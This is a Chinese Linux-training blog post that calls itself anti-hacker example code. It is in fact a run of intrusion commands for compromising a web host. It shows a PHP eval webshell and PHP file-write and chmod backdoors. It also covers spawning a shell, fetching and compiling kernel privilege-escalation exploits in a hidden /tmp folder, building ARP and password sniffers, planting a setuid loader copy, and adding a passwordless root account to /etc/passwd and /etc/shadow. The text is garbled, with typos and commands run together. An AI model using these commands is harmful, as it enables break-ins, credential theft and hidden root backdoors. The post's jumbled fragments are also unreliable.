2018-07-25 13:42:01 456浏览
今天扣丁学堂Linux培训老师给大家主要介绍一下关于Linux入侵常用命令之防黑客源码及相关资料,首先linux权限多设的比较松的其实,但有的虚拟机还是不能跨目录访问的。在提不了权的情况下,试试如下代码吧。运气好的话说不定就跨过去了。下面话不多说了,来一起看看详细的介绍吧。
[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.php [jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php
ls -la /www.users/
# python –c ‘impotr pty;pty.spawn(“/bin/sh”);
输入id bash-3.2$ id uid=529(zeicom) gid=525(zeicom) groups=525(zeicom) bash-3.2$ 这里uid=529(zeicom)还不是root权限, 输入uname –r 返回:2.6.18-164.11.1.el5PAE
# python -c 'impotr pty;pty.spawn("/bin/sh");' cd /tmp 进入tmp目录 mkdir Papers 创建一个Papers的目录 Papers不显眼 cd Papers 进入 Papers目录 pwd 查看当前目录 然后命令输入 wget 下载exp gcc –o 2 2.c //把2.c编译成可执行文件 g++ keio.cc -o keio chmod +x 2 //给2有执行权限 ./2 //执行2, 溢出 gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0 tar zxvf libpcap-0.8.1.tar.gz cd libpcap-0.8.1 ./configure make make install
gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254
./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
tcpdump -i eth0 host 192.168.0.11
tcpdump -i eth0 host 172.16.0.12 -w pop.txt
if(ntohs(tcp->dest)==21) p=1; /* ftp */ if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/ if(ntohs(tcp->dest)==23) p=1; /* telnet */ if(ntohs(tcp->dest)==80) p=1; /* http */ if(ntohs(tcp->dest)==110) p=1; /* pop3 */ if(ntohs(tcp->dest)==513) p=1; /* rlogin */ if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ [root@bbs111 root]# gcc -o linsniffer linsniffer.c In file included from /usr/include/linux/tcp.h:21, from linsniffer.c:32: /usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include <endian.h> instead!
[root@bbs111 root]# ./linsniffer
$path = stripslashes($_GET['path']); $ok = chmod ($path , 0777); if ($ok == true) echo CHMOD OK , Permission editable file or directory. Permission to write; ?>
@$filename = stripslashes($_POST['filename']); @$mess = stripslashes($_POST['mess']); $fp = @fopen({$_POST['filename']}, 'a'); @fputs($fp,$mess ); @fclose($fp); ?>
chmod +x pwnkernel.c chmod +x wunderbar_emporium.sh chmod +x exploit.c
cd /tmp sh-3.1# ls /lib/ld-linux* /lib/ld-linux.so.2 sh-3.1# cp /lib/ld-linux.so.2 /tmp/.str1ven sh-3.1# ls -l .str1ven -rwxr-xr-x 1 root root 121684 07-08 21:13 .str1ven sh-3.1# chmod +s .str1ven sh-3.1# ls -l .str1ven -rwsr-sr-x 1 root root 121684 07-08 21:13 .str1ven
service --status-all | grep running service --status-all | grep http
/usr/sbin/sshd stop/ usr/sbin/sshd start ssd_config文件里 PasswordAuthentication no,
sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd gcc prtcl2.c –o local –static –Wall echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
以上就是关于扣丁学堂Linux基础教程入侵常用命令之防黑客示例代码的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对扣丁学堂的支持。
【关注微信公众号获取更多学习资料】